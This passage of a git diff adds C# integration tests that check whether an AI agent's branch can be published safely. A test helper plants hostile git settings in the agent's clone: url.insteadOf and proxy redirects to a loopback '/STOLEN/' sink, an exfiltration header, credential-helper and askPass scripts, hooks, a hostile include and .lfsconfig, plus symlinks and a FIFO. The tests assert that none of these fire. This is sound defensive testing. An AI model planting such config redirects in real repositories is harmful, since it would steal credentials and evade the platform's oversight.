url.pushInsteadOf for http://; http.proxy, http.extraHeader, a credential.helper, a +/// core.askPass, an include.path; and a work-tree .lfsconfig pointing lfs.url at a loopback +/// sink. Then it runs the production capture and push and asserts the branch lands on the LEGIT remote with the agent's +/// own commits plus the platform commit, the readback matches, the sink saw NOTHING, no planted marker fired, no +/// injected header reached the remote, and the publish repo held no copy of the token when its readback ran. +/// +/// These vectors are the half G1's hook-isolation test could not cover, because G1 still pushed from the +/// agent-writable clone. G2 carries the branch out as hardened bundles and pushes it from a fresh platform-owned repo, so +/// the credential and the network never meet the agent's .git — which is exactly what these assertions pin. +/// +/// The rest pin what that publish must still get right: objects the remote already holds are never re-checked +/// (a legacy object strict fsck rejects), a malformed object the agent wrote is refused, a branch reset behind its base +/// still lands, the host-side copies of the clone's shallow boundary and LFS objects never follow a link or open a +/// special file the agent planted, and a failed publish surfaces as a and still removes +/// its publish repo. +/// +/// Each test owns a GUID-named branch and temp tree, removes them on every path, and skips on Windows or without +/// git; the LFS test additionally skips without git-lfs, and the malformed-object test without a git that checks a +/// fetched bundle (2.46 or later). +/// +[Trait("Category", "Integration")] +public sealed class AgentPublishFromCleanRepoFlowTests +{ + [Theory] + [InlineData(0)] // full clone: the base bundle is self-contained + [InlineData(1)] // shallow clone: the copied shallow boundary lets the publish repo accept a base whose parent is absent + public async Task Publish_lands_the_branch_with_the_agents_commits_while_no_planted_vector_reaches_a_remote(int depth) + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth); + await using var handle = await ctx.CloneWithTokenAsync(); + + if (depth > 0) await ctx.ShouldBeShallowWithAnAbsentParentAsync(handle.Directory); + + var agentSha = await ctx.AgentCommitsAsync(handle.Directory, "agent.txt", "the agent's own committed work\n"); + await ctx.WriteUncommittedAsync(handle.Directory, "staged-by-platform.txt", "the platform commits this\n"); + ctx.PlantAllVectors(handle.Directory); + + var changes = await handle.CaptureChangesAsync(CancellationToken.None); + var branch = await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None); + + branch.ShouldBe(ctx.BranchName, "the publish produced the branch"); + changes.ChangedFiles.ShouldContain("agent.txt"); + changes.ChangedFiles.ShouldContain("staged-by-platform.txt"); + + var remoteTip = await ctx.RemoteShaAsync(ctx.BranchName); + ((IWorkspacePushHandle)handle).LastPushedCommitSha().ShouldBe(remoteTip, "the readback confirms the remote tip the clean repo pushed"); + (await ctx.RemoteLogAsync(ctx.BranchName)).ShouldContain(agentSha, Case.Sensitive, "the agent's own commit is preserved on the remote, not squashed away"); + (await ctx.RemoteFileAsync(ctx.BranchName, "agent.txt")).ShouldBe("the agent's own committed work\n"); + (await ctx.RemoteFileAsync(ctx.BranchName, "staged-by-platform.txt")).ShouldBe("the platform commits this\n"); + ctx.Remote.AuthenticatedPushRequests.ShouldBeGreaterThan(0, "the remote validated the real credential on the push"); + + ctx.AssertNothingLeaked(); + } + + [Fact] + public async Task A_no_op_run_publishes_no_branch_and_contacts_no_remote() + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)) + .ShouldBeNull("a run that changed nothing produces no branch"); + + (await ctx.RemoteHasBranchAsync(ctx.BranchName)).ShouldBeFalse("no branch reached the remote"); + ctx.Remote.AuthenticatedPushRequests.ShouldBe(0, "a no-op never authenticated a push"); + ctx.Sink.Connections.ShouldBe(0); + } + + [Fact] + public async Task A_revise_round_republishes_the_updated_branch_idempotently() + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsAsync(handle.Directory, "round.txt", "first round\n"); + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)).ShouldBe(ctx.BranchName); + var firstTip = await ctx.RemoteShaAsync(ctx.BranchName); + + // Another pass in the SAME workspace adds a commit; re-publishing force-updates the same branch. + var reviseSha = await ctx.AgentCommitsAsync(handle.Directory, "round.txt", "second round\n"); + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)).ShouldBe(ctx.BranchName); + + var secondTip = await ctx.RemoteShaAsync(ctx.BranchName); + secondTip.ShouldNotBe(firstTip, "the revise round advanced the remote branch"); + secondTip.ShouldBe(reviseSha, "the remote now carries the revised tip"); + ((IWorkspacePushHandle)handle).LastPushedCommitSha().ShouldBe(secondTip); + ctx.Sink.Connections.ShouldBe(0); + } + + [Fact] + public async Task The_publish_repository_is_removed_after_the_push() + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsAsync(handle.Directory, "work.txt", "work\n"); + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)).ShouldBe(ctx.BranchName); + + ctx.ShouldHaveRemovedThePublishRepository(); + } + + [Fact] + public async Task A_failed_publish_still_removes_its_publish_repository() + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(token: "a-token-the-remote-refuses"); + + await ctx.AgentCommitsAsync(handle.Directory, "work.txt", "work\n"); + + await Should.ThrowAsync(() => ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)); + + ctx.Runner.Specs.ShouldContain(s => s.Args.Contains("push"), "the publish got as far as the authenticated push, so its repo was staged"); + (await ctx.RemoteHasBranchAsync(ctx.BranchName)).ShouldBeFalse("the remote refused the credential"); + ctx.ShouldHaveRemovedThePublishRepository(); + } + + [Fact] + public async Task An_lfs_file_the_agent_added_arrives_with_its_object_on_the_remote() + { + if (OperatingSystem.IsWindows() || !await GitAvailableAsync() || !await GitLfsAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + var oid = await ctx.AgentCommitsLfsFileAsync(handle.Directory, "big.bin"); + ctx.PlantAllVectors(handle.Directory); // includes a hostile .lfsconfig pointing lfs.url at the sink + + var branch = await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None); + + branch.ShouldBe(ctx.BranchName); + ctx.Remote.UploadedLfsOids.ShouldContain(oid, "the LFS object the agent added was uploaded to the LEGIT remote"); + ctx.Remote.HasLfsObject(oid).ShouldBeTrue("the object is in the remote's LFS store"); + ctx.Sink.Connections.ShouldBe(0, "the hostile .lfsconfig did not redirect the LFS upload to the sink"); + ctx.AssertNothingLeaked(); // git-lfs persists endpoint-keyed config; none of it may carry the token + } + + [Theory] + [InlineData(0)] + [InlineData(1)] + public async Task A_base_that_reuses_a_legacy_object_still_publishes(int depth) + { + // The remote already holds an object strict fsck rejects, and the agent's commit reuses it (it left that + // directory alone). Only the objects the agent's branch ADDS are the publish's to check; re-checking the base + // would lose the branch on every git that checks a fetched bundle. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth); + await ctx.Remote.AddLegacySubtreeCommitAsync(); + await using var handle = await ctx.CloneWithTokenAsync(); + + File.Exists(Path.Combine(handle.Directory, "legacy", "legacy.txt")).ShouldBeTrue("fixture check: the clone carries the legacy subtree"); + + await ctx.AgentCommitsAsync(handle.Directory, "agent.txt", "work beside a legacy directory\n"); + + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)).ShouldBe(ctx.BranchName); + (await ctx.RemoteFileAsync(ctx.BranchName, "agent.txt")).ShouldBe("work beside a legacy directory\n"); + (await ctx.RemoteFileAsync(ctx.BranchName, "legacy/legacy.txt")).ShouldBe("written by an old git\n"); + } + + [Fact] + public async Task A_malformed_object_the_agent_committed_is_refused_before_the_push() + { + // A tree with a ".git" entry (the shape of the old checkout-to-.git attacks), committed under the agent's branch. + // The publish repo checks every object the branch adds before anything carries the credential. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync() || !await GitChecksFetchedBundlesAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsATreeWithADotGitEntryAsync(handle.Directory); + await ctx.AgentCommitsAsync(handle.Directory, "agent.txt", "work on top\n"); + + var failure = await Should.ThrowAsync(() => ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)); + + failure.Message.ShouldContain("hasDotgit", Case.Sensitive, "the refusal names the object check that caught the .git entry"); + ctx.Runner.Specs.ShouldNotContain(s => s.Args.Contains("push"), "nothing carried the credential"); + (await ctx.RemoteHasBranchAsync(ctx.BranchName)).ShouldBeFalse(); + ctx.ShouldHaveRemovedThePublishRepository(); + } + + [Fact] + public async Task A_branch_reset_behind_its_base_publishes_that_older_commit() + { + // The agent undid the base's last commit with `reset --hard HEAD~1`: the branch adds no object at all, so there is + // nothing new to bundle, and the branch must still land at the older commit. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + var older = await ctx.AgentResetsBehindTheBaseAsync(handle.Directory); + + (await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)).ShouldBe(ctx.BranchName); + (await ctx.RemoteShaAsync(ctx.BranchName)).ShouldBe(older, "the remote branch points at the commit the agent reset to"); + ((IWorkspacePushHandle)handle).LastPushedCommitSha().ShouldBe(older); + } + + [Fact] + public async Task Links_and_special_files_the_agent_planted_in_its_lfs_store_are_never_followed() + { + // The LFS copy runs on the host, outside the sandbox. A directory link and a file link out of the clone, a link + // loop and a FIFO, all at object-shaped paths, must be skipped: nothing outside the clone is read or copied, the + // FIFO is never opened (opening it would block forever), and no raw IO error escapes. A real file at a path no + // LFS object has is not an object either, so it neither gets copied nor makes the publish run git-lfs. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsAsync(handle.Directory, "work.txt", "work\n"); + await ctx.PlantLinksAndSpecialFilesInTheLfsStoreAsync(handle.Directory); + + var branch = await ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None).WaitAsync(TimeSpan.FromSeconds(120)); + + branch.ShouldBe(ctx.BranchName, "the planted entries are skipped, not fatal"); + ctx.PublishRepoSnapshot.ShouldNotBeNull("the readback ran in the publish repo, so it was inspected before cleanup"); + ctx.PublishRepoSnapshot.Keys.ShouldNotContain(path => path.Contains("lfs"), "no planted entry was copied into the publish repo"); + ctx.PublishRepoSnapshot.Values.ShouldNotContain(bytes => PublishVectorContext.ContainsText(bytes, PublishVectorContext.OutsideMarker), "no byte from outside the clone reached the publish repo"); + ctx.Runner.Specs.ShouldNotContain(s => s.Args.Contains("lfs"), "with no real object copied, git-lfs never runs"); + } + + [Fact] + public async Task A_linked_shallow_boundary_is_not_followed_and_fails_the_publish_closed() + { + // The agent replaced its clone's .git/shallow with a link to a file outside the clone. The host-side copy must not + // read through it; without the boundary the shallow base cannot be accepted, so the publish fails as a + // WorkspaceException, before any push. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 1); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsAsync(handle.Directory, "work.txt", "work\n"); + ctx.AgentLinksItsShallowBoundaryOutsideTheClone(handle.Directory); + + await Should.ThrowAsync(() => ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)); + + ctx.Runner.Specs.ShouldNotContain(s => s.Args.Contains("push"), "nothing carried the credential"); + (await ctx.RemoteHasBranchAsync(ctx.BranchName)).ShouldBeFalse(); + ctx.ShouldHaveRemovedThePublishRepository(); + } + + [Fact] + public async Task An_unreadable_lfs_object_fails_the_publish_as_a_workspace_exception() + { + // Every caller of the push catches WorkspaceException only; a raw IO exception from the host-side copy would + // escape the retry and, through the produced-work check, fail a run that succeeded. + if (OperatingSystem.IsWindows() || !await GitAvailableAsync()) return; + + using var ctx = new PublishVectorContext(); + await ctx.StartAsync(depth: 0); + await using var handle = await ctx.CloneWithTokenAsync(); + + await ctx.AgentCommitsAsync(handle.Directory, "work.txt", "work\n"); + if (!ctx.PlantUnreadableLfsObject(handle.Directory)) return; // root reads it anyway: nothing to prove on this host + + await Should.ThrowAsync(() => ((IWorkspacePushHandle)handle).PushChangesAsync(ctx.BranchName, CancellationToken.None)); + + (await ctx.RemoteHasBranchAsync(ctx.BranchName)).ShouldBeFalse(); + ctx.ShouldHaveRemovedThePublishRepository(); + } + + private static Task GitAvailableAsync() => ToolAvailableAsync(new[] { "--version" }); + private static Task GitLfsAvailableAsync() => ToolAvailableAsync(new[] { "lfs", "version" }); + + private static async Task ToolAvailableAsync(IReadOnlyList args) + { + try { return (await RunGitAsync(args)).Status == SandboxStatus.Success; } + catch { return false; } + } + + /// Git checks the objects of a fetched bundle under transfer.fsckObjects from 2.46; older git imports a bundle unchecked. + private static async Task GitChecksFetchedBundlesAsync() + { + var digits = (await RunGitAsync(new[] { "--version" })).Stdout.Split(' ', StringSplitOptions.RemoveEmptyEntries)[2].Split('.').Take(2).Select(int.Parse).ToArray(); + var checks = digits[0] > 2 || (digits[0] == 2 && digits[1] >= 46); + + if (!checks) Console.WriteLine($"[publish-fsck] git {string.Join('.', digits)} imports a bundle unchecked; the malformed-object case needs 2.46 or later"); + return checks; + } + + private static Task RunGitAsync(IReadOnlyList args) => + new LocalProcessRunner().RunAsync(new SandboxSpec { Command = "git", Args = args, TimeoutSeconds = 15 }, CancellationToken.None); + + /// The legit remote, the attacker sink, the provider over a test-owned workspaces root, and plant/assert helpers. Records the specs the provider submits, and snapshots the publish repo when its readback runs, so a test can inspect what the publish staged before it is removed. + private sealed class PublishVectorContext : IDisposable + { + /// Written into every file planted outside the clone; no byte of it may reach the publish repo. + public const string OutsideMarker = "OUTSIDE-THE-CLONE-0f3c"; + + private readonly string _root = Path.Combine(Path.GetTempPath(), "cs-pubvec-" + Guid.NewGuid().ToString("N")); + + public PublishVectorContext() + { + Directory.CreateDirectory(_root); + WorkspacesRoot = Path.Combine(_root, "workspaces"); + MarkersDir = Path.Combine(_root, "markers"); + Directory.CreateDirectory(MarkersDir); + Runner = new RecordingRunner(SnapshotThePublishRepoAtItsReadback); + Provider = new LocalGitWorkspaceProvider(new SandboxRunnerRegistry(new ISandboxRunner[] { Runner }), NullLogger.Instance, WorkspacesRoot); + } + + public GitPublishRemoteFixture Remote { get; } = new(); + public LoopbackSink Sink { get; } = new(); + public LocalGitWorkspaceProvider Provider { get; } + public RecordingRunner Runner { get; } + public string WorkspacesRoot { get; } + public string MarkersDir { get; } + public string BranchName { get; } = "codespace/agent/" + Guid.NewGuid().ToString("N"); + + /// Every file in the publish repo (relative path → bytes) when its ls-remote readback ran; null if the publish never got that far. + public Dictionary? PublishRepoSnapshot { get; private set; } + + public Task StartAsync(int depth) { _depth = depth; return Remote.StartAsync(); } + private int _depth; + + public async Task CloneWithTokenAsync(string token = GitPublishRemoteFixture.FakeToken) => + await Provider.PrepareAsync(WorkspaceProvisionRequest.FromSingle(new WorkspaceRequest + { + RepositoryUrl = Remote.Url, Token = token, TokenUsername = "x-access-token", Depth = _depth, + }), CancellationToken.None); + + /// Fixture check for the shallow rows: the clone's boundary commit has a parent the clone does not hold, so a publish that dropped the boundary could not import the base. + public async Task ShouldBeShallowWithAnAbsentParentAsync(string cloneDir) + { + var shallow = Path.Combine(cloneDir, ".git", "shallow"); + File.Exists(shallow).ShouldBeTrue("fixture check: a depth-limited clone writes .git/shallow"); + + var boundary = (await File.ReadAllLinesAsync(shallow)).First(); + var parent = (await GitAsync(cloneDir, "cat-file", "-p", boundary)).Split('\n').Single(l => l.StartsWith("parent ", StringComparison.Ordinal))["parent ".Length..]; + (await TryGitAsync(cloneDir, "cat-file", "-e", parent)).ShouldBeFalse("fixture check: the boundary's parent is absent from the clone"); + } + + /// The agent commits a file of its own (hooks off, so this simulation never fires a planted hook); returns the commit sha. + public async Task AgentCommitsAsync(string cloneDir, string file, string content) + { + await File.WriteAllTextAsync(Path.Combine(cloneDir, file), content); + await GitAsync(cloneDir, "add", "-A"); + await GitAsync(cloneDir, "-c", "user.name=Agent", "-c", "user.email=agent@example.test", "-c", "commit.gpgsign=false", "commit", "-q", "-m", $"agent {file}"); + return (await GitAsync(cloneDir, "rev-parse", "HEAD")).Trim(); + } + + public Task WriteUncommittedAsync(string cloneDir, string file, string content) => File.WriteAllTextAsync(Path.Combine(cloneDir, file), content); + + /// The agent tracks + commits a real LFS file (hooks off); returns the pointer's sha256 oid. + public async Task AgentCommitsLfsFileAsync(string cloneDir, string file) + { + // Configure the LFS filters locally WITHOUT `git lfs install` — the latter also installs a pre-push hook, + // which fails under our hooks-off test git. The clean filter is all the agent's `git add` needs to store the blob. + await GitAsync(cloneDir, "config", "filter.lfs.clean", "git-lfs clean -- %f"); + await GitAsync(cloneDir, "config", "filter.lfs.smudge", "git-lfs smudge -- %f"); + await GitAsync(cloneDir, "config", "filter.lfs.process", "git-lfs filter-process"); + await GitAsync(cloneDir, "config", "filter.lfs.required", "true"); + await GitAsync(cloneDir, "lfs", "track", "*.bin"); + await File.WriteAllBytesAsync(Path.Combine(cloneDir, file), System.Security.Cryptography.RandomNumberGenerator.GetBytes(4096)); + await GitAsync(cloneDir, "add", "-A"); + await GitAsync(cloneDir, "-c", "user.name=Agent", "-c", "user.email=agent@example.test", "-c", "commit.gpgsign=false", "commit", "-q", "-m", "agent lfs file"); + + var pointer = await GitAsync(cloneDir, "show", $"HEAD:{file}"); + return pointer.Split('\n').Select(l => l.Trim()).First(l => l.StartsWith("oid sha256:", StringComparison.Ordinal))["oid sha256:".Length..]; + } + + /// The agent writes, unvalidated, a commit whose tree holds a .git directory, and moves its branch onto it. + public async Task AgentCommitsATreeWithADotGitEntryAsync(string cloneDir) + { + var config = await Remote.HashObjectAsync("blob", "[core]\n\thooksPath = /tmp\n"u8.ToArray(), cloneDir); + var dotGit = await Remote.HashObjectAsync("tree", GitPublishRemoteFixture.TreeEntry("100644", "config", config), cloneDir); + var readme = (await GitAsync(cloneDir, "rev-parse", "HEAD:README.md")).Trim(); + var root = await Remote.HashObjectAsync("tree", GitPublishRemoteFixture.TreeEntry("40000", ".git", dotGit).Concat(GitPublishRemoteFixture.TreeEntry("100644", "README.md", readme)).ToArray(), cloneDir); + var commit = (await GitAsync(cloneDir, "-c", "user.name=Agent", "-c", "user.email=agent@example.test", "commit-tree", root, "-p", "HEAD", "-m", "agent writes a .git entry")).Trim(); + + await GitAsync(cloneDir, "update-ref", "HEAD", commit); + } + + /// The agent undoes the base's last commit (reset --hard HEAD~1); returns the commit it reset to. + public async Task AgentResetsBehindTheBaseAsync(string cloneDir) + { + await GitAsync(cloneDir, "reset", "-q", "--hard", "HEAD~1"); + return (await GitAsync(cloneDir, "rev-parse", "HEAD")).Trim(); + } + + /// Plant, at object-shaped paths in the clone's LFS store: a directory link and a file link to files outside the clone, a link loop, and a FIFO; plus a real file at a path no LFS object has. + public async Task PlantLinksAndSpecialFilesInTheLfsStoreAsync(string cloneDir) + { + var outside = Directory.CreateDirectory(Path.Combine(_root, "outside")).FullName; + var objects = Directory.CreateDirectory(Path.Combine(cloneDir, ".git", "lfs", "objects")).FullName; + + WriteOutside(Path.Combine(outside, "ab", "cd", Oid("abcd"))); + Directory.CreateSymbolicLink(Path.Combine(objects, "ab"), Path.Combine(outside, "ab")); + + Directory.CreateDirectory(Path.Combine(objects, "ef", "01")); + File.CreateSymbolicLink(Path.Combine(objects, "ef", "01", Oid("ef01")), WriteOutside(Path.Combine(outside, "secret"))); + + Directory.CreateSymbolicLink(Path.Combine(objects, "loop"), objects); + + Directory.CreateDirectory(Path.Combine(objects, "zz")); + File.WriteAllText(Path.Combine(objects, "zz", "not-an-object"), "a stray file the push does not need\n"); + + Directory.CreateDirectory(Path.Combine(objects, "12", "34")); + var fifo = await new LocalProcessRunner().RunAsync(new SandboxSpec { Command = "mkfifo", Args = new[] { Path.Combine(objects, "12", "34", Oid("1234")) }, TimeoutSeconds = 15 }, CancellationToken.None); + fifo.Status.ShouldBe(SandboxStatus.Success, "fixture check: the FIFO was planted"); + } + + /// Move the clone's real shallow boundary outside the clone and leave a link to it in its place (git in the clone still reads the same boundary). + public void AgentLinksItsShallowBoundaryOutsideTheClone(string cloneDir) + { + var shallow = Path.Combine(cloneDir, ".git", "shallow"); + var moved = Path.Combine(Directory.CreateDirectory(Path.Combine(_root, "outside")).FullName, "shallow"); + + File.Move(shallow, moved); + File.CreateSymbolicLink(shallow, moved); + } + + /// Plant a real object-shaped file in the clone's LFS store that the publish cannot read; false when this process reads it anyway (root). + public bool PlantUnreadableLfsObject(string cloneDir) + { + var oid = Oid("aabb"); + var path = Path.Combine(Directory.CreateDirectory(Path.Combine(cloneDir, ".git", "lfs", "objects", "aa", "bb")).FullName, oid); + + File.WriteAllText(path, "an object nobody may read\n"); + File.SetUnixFileMode(path, UnixFileMode.None); + + try { File.ReadAllBytes(path); return false; } + catch (UnauthorizedAccessException) { return true; } + } + + /// Plant every remote-reaching vector a tampering agent could leave in its clone for the platform to trip over. + public void PlantAllVectors(string cloneDir) + { + var gitDir = Path.Combine(cloneDir, ".git"); + + foreach (var hook in new[] { "pre-push", "pre-commit", "post-checkout", "reference-transaction" }) + WriteScript(Path.Combine(gitDir, "hooks", hook), hook); + + // Remote-redirects and request tampering, all keyed on the attacker sink. + var sink = $"http://127.0.0.1:{Sink.Port}/STOLEN/"; + Config(cloneDir, $"url.{sink}.insteadOf", "http://"); + Config(cloneDir, $"url.{sink}.pushInsteadOf", "http://"); + Config(cloneDir, "http.proxy", $"http://127.0.0.1:{Sink.Port}"); + Config(cloneDir, "http.extraHeader", $"{GitPublishRemoteFixture.HostileHeader}: stolen"); + + // Credential-resolution code execution. + Config(cloneDir, "credential.helper", $"!{ScriptPath("credential-helper")}"); + Config(cloneDir, "core.askPass", ScriptPath("askpass")); + + // An include that itself sets a hostile insteadOf — the clean repo must not read the agent's config at all. + var include = Path.Combine(gitDir, "evil-include.cfg"); + File.WriteAllText(include, $"[url \"{sink}\"]\n\tinsteadOf = https://\n"); + Config(cloneDir, "include.path", include); + + // A work-tree .lfsconfig redirecting LFS at the sink (left uncommitted, as an agent would, and also committed + // so it rides the branch — the clean repo checks out nothing, so neither can take effect). + File.WriteAllText(Path.Combine(cloneDir, ".lfsconfig"), $"[lfs]\n\turl = http://127.0.0.1:{Sink.Port}/STOLEN/info/lfs\n"); + } + + /// Assert the publish leaked nothing: the sink was never contacted, no planted marker ran, no injected header reached the remote, and the publish repo held no copy of the token, raw or URL-encoded, when its readback ran. + public void AssertNothingLeaked() + { + Sink.Connections.ShouldBe(0, "a redirect (insteadOf / pushInsteadOf / proxy / .lfsconfig) reached the attacker sink"); + Directory.GetFileSystemEntries(MarkersDir).ShouldBeEmpty("a planted hook, credential.helper or askPass ran — see the marker names"); + Remote.SawHostileHeader.ShouldBeFalse("the agent's http.extraHeader reached the remote"); + + PublishRepoSnapshot.ShouldNotBeNull("the readback ran in the publish repo, so it was inspected before cleanup"); + var carriers = PublishRepoSnapshot.Where(file => ContainsText(file.Value, GitPublishRemoteFixture.FakeToken) || ContainsText(file.Value, Uri.EscapeDataString(GitPublishRemoteFixture.FakeToken))).Select(file => file.Key).ToList(); + carriers.ShouldBeEmpty("the token was written to disk in the publish repo — a crash before cleanup would leave it at rest"); + } + + public void ShouldHaveRemovedThePublishRepository() + { + var publishDirs = Runner.Specs.Where(s => s.Args.Contains("bundle")).Select(s => s.WorkingDirectory).Distinct().ToList(); + + publishDirs.ShouldNotBeEmpty("fixture check: the publish staged a repo, so there is one to remove"); + publishDirs.ShouldAllBe(dir => !Directory.Exists(dir), "the publish repo is removed whether the publish succeeded or failed"); + Directory.GetDirectories(WorkspacesRoot, "publish-*").ShouldBeEmpty("no publish repo is left behind under the workspaces root"); + } + + public static bool ContainsText(byte[] bytes, string text) => bytes.AsSpan().IndexOf(System.Text.Encoding.UTF8.GetBytes(text)) >= 0; + + public async Task RemoteShaAsync(string branch) => (await GitPublishRemoteFixture.GitAsync(Remote.Root, new[] { "--git-dir", Remote.Remote, "rev-parse", $"refs/heads/{branch}" })).Trim(); + public async Task RemoteHasBranchAsync(string branch) => (await GitPublishRemoteFixture.GitAsync(Remote.Root, new[] { "--git-dir", Remote.Remote, "for-each-ref", $"refs/heads/{branch}" })).Trim().Length > 0; + public Task RemoteLogAsync(string branch) => GitPublishRemoteFixture.GitAsync(Remote.Root, new[] { "--git-dir", Remote.Remote, "log", "--format=%H", $"refs/heads/{branch}" }); + public Task RemoteFileAsync(string branch, string file) => GitPublishRemoteFixture.GitAsync(Remote.Root, new[] { "--git-dir", Remote.Remote, "show", $"refs/heads/{branch}:{file}" }); + + private static string Oid(string prefix) => prefix + new string('0', 64 - prefix.Length); + + private static string WriteOutside(string path) + { + Directory.CreateDirectory(Path.GetDirectoryName(path)!); + File.WriteAllText(path, OutsideMarker + "\n"); + return path; + } + + private void SnapshotThePublishRepoAtItsReadback(SandboxSpec spec) + { + if (!spec.Args.Contains("ls-remote") || spec.WorkingDirectory is not { } publishDir) return; + + PublishRepoSnapshot = Directory.EnumerateFiles(publishDir, "*", SearchOption.AllDirectories).ToDictionary(file => Path.GetRelativePath(publishDir, file), File.ReadAllBytes); + } + + private string ScriptPath(string name) => Path.Combine(_root, name + ".sh"); + + /// A script that records it ran (marker named after it) then exits 0 — so its ABSENCE proves it never ran. + private string WriteScript(string path, string name) + { + Directory.CreateDirectory(Path.GetDirectoryName(path)!); + File.WriteAllText(path, $"#!/bin/sh\nprintf ran > '{Path.Combine(MarkersDir, name)}'\nexit 0\n"); + File.SetUnixFileMode(path, UnixFileMode.UserRead | UnixFileMode.UserWrite | UnixFileMode.UserExecute); + return path; + } + + private void Config(string cloneDir, string key, string value) => GitAsync(cloneDir, "config", key, value).GetAwaiter().GetResult(); + + /// Test-side git with hooks off, so the agent simulation and config planting never fire a planted vector early. + private async Task GitAsync(string workdir, params string[] args) + { + var result = await RunTestGitAsync(workdir, args); + + if (result.Status != SandboxStatus.Success) + throw new InvalidOperationException($"git {string.Join(' ', args)} failed: {result.Stderr}"); + + return result.Stdout; + } + + private async Task TryGitAsync(string workdir, params string[] args) => (await RunTestGitAsync(workdir, args)).Status == SandboxStatus.Success; + + private Task RunTestGitAsync(string workdir, string[] args) + { + // credential.helper is a per-command setup helper the askpass/helper scripts reference; write them lazily. + EnsureCredentialScripts(); + + return new LocalProcessRunner().RunAsync(new SandboxSpec { Command = "git", Args = new[] { "-c", "core.hooksPath=/dev/null" }.Concat(args).ToList(), WorkingDirectory = workdir, TimeoutSeconds = 120 }, CancellationToken.None); + } + + private bool _credentialScriptsWritten; + + private void EnsureCredentialScripts() + { + if (_credentialScriptsWritten) return; + _credentialScriptsWritten = true; + WriteScript(ScriptPath("credential-helper"), "credential-helper"); + WriteScript(ScriptPath("askpass"), "askpass"); + } + + public void Dispose() + { + Sink.Dispose(); + Remote.DisposeAsync().AsTask().GetAwaiter().GetResult(); + try { Directory.Delete(_root, recursive: true); } catch { /* best-effort */ } + } + } + + /// Records every spec, runs it on the real local runner, then hands it to afterRun (which snapshots the publish repo at its readback). + private sealed class RecordingRunner(Action afterRun) : ISandboxRunner + { + private readonly LocalProcessRunner _inner = new(); + public string Kind => "local"; + public List Specs { get; } = new(); + public async Task RunAsync(SandboxSpec spec, CancellationToken cancellationToken) + { + Specs.Add(spec); + var result = await _inner.RunAsync(spec, cancellationToken); + afterRun(spec); + return result; + } + } +} diff --git a/backend/tests/CodeSpace.IntegrationTests/Workflows/GitPublishRemoteFixture.cs b/backend/tests/CodeSpace.IntegrationTests/Workflows/GitPublishRemoteFixture.cs new file mode 100644 index 000000000..713cb888b --- /dev/null +++ b/backend/tests/CodeSpace.IntegrationTests/Workflows/GitPublishRemoteFixture.cs @@ -0,0 +1,342 @@ +using System.Diagnostics; +using System.Net; +using System.Net.Sockets; +using System.Text; +using System.Text.Json; +using Shouldly; + +namespace CodeSpace.IntegrationTests.Workflows; + +/// +/// A loopback smart-HTTP git remote (the real git http-backend) that ALSO speaks the Git-LFS batch API, with a +/// FAKE token required for every write — the legitimate destination an agent's produced branch must reach. Fetch/clone +/// is anonymous (GIT_HTTP_EXPORT_ALL); git-receive-pack and every LFS endpoint demand +/// x-access-token:<FakeToken> basic auth, so a push that arrives proves the real credential was presented. +/// It records every request so a test can assert what the remote saw — the authenticated push, the LFS objects uploaded, +/// and that no agent-injected header () was ever sent to it. Fixture setup runs real git out +/// of band; only the production provider's commands run through the sandbox runner under test. +/// +internal sealed class GitPublishRemoteFixture : IAsyncDisposable +{ + /// The push/LFS credential the fixture demands — a fake value that only lives in this test's remote and the token it hands the provider. + public const string FakeToken = "fake-publish-token-0123456789"; + + /// A request header an agent's http.extraHeader would inject; the clean publish repo must never send it to the remote. + public const string HostileHeader = "X-Codespace-Exfil"; + + private readonly HttpListener _listener = new(); + private readonly 